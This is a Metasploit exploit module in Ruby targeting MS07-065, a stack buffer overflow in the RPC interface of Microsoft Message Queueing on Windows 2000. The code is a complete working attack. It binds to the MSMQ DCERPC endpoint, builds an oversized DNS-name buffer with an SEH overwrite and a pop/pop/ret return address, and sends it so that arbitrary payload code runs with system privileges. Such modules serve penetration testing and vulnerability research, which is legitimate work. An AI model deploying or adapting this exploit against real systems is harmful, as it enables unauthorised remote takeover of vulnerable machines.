##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the RPC interface
      to the Microsoft Message Queueing service. This exploit requires
      the target system to have been configured with a DNS name and
      for that name to be supplied in the 'DNAME' option. This name does
      not need to be served by a valid DNS server, only configured on
      the target machine.

      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3039'],
          [ 'OSVDB', '39123'],
          [ 'MSB', 'MS07-065'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
          'StackAdjustment' => -3500,

        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          [
            'Windows 2000 Server English',
            {
              'Platform' => 'win',
              'Ret'      => 0x75022ac4 # ws2help - pop/pop/ret
            },
          ],
        ],
      'DisclosureDate' => 'Dec 11 2007',
      'DefaultTarget' => 0))

    # Change the default port values to point at MSMQ
    register_options(
      [
        Opt::RPORT(2103),
        OptString.new('DNAME',  [ true,  "The DNS hostname of the target" ]),
      ])
  end

  def autofilter
    # Common vulnerability scanning tools report port 445/139
    # due to how they test for the vulnerability. Remap this
    # back to 2103 for automated exploitation

    rport = datastore['RPORT'].to_i
    if ( rport == 445 or rport == 139 )
      datastore['RPORT'] = 2103
    end

    # The fqdn is required to exploit this bug
    if (not datastore['DNAME'])
      # XXX automatically determine the hostname
      return false
    end

    true
  end

  def exploit

    connect
    print_status("Trying target #{target.name}...")

    handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    dname = datastore['DNAME']

    boom = rand_text_alphanumeric(4096)

    hname,domain = dname.split(".")

    if(not domain)
      print_status("The DNAME parameter specified is not valid.")
      print_status("This option must be the fully-qualified domain name of the target (as it has been configured).")
      return
    end

    off = 310 - (hname.length * 2)

    seh = generate_seh_payload(target.ret)
    boom[off, seh.length] = seh

    buff  = Rex::Text.to_unicode("#{dname}\\")
    buff << boom
    buff << "\x00\x00"

    # Data alignment
    while(buff.length % 4 != 0)
      buff << "\x00"
    end

    stubdata =
      NDR.long(1) +                                           # [in] long arg_1,
      NDR.UnicodeConformantVaryingStringPreBuilt(buff) +      # [in][string] wchar_t * arg_2,
      NDR.long(0) * 5                                         # ... fields we can ignore

    print_status('Sending exploit...')

    begin
      response = dcerpc.call(6, stubdata)

      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
        case dcerpc.last_response.stub_data
        when "\x14\x00\x0e\xc0"
          print_error("Error: The wrong value has been supplied for the DNAME parameter")
          print_error("This value must be the fully-qualified domain name of the target")
          print_error("Many systems have no FQDN configured and cannot be exploited")
        else
          print_status("An unknown response was received from the server:")
          print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
        end
      end
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
      print_status("No response from the DCERPC service (this is usually a good thing).")
    end

    handler
    disconnect
  end
end
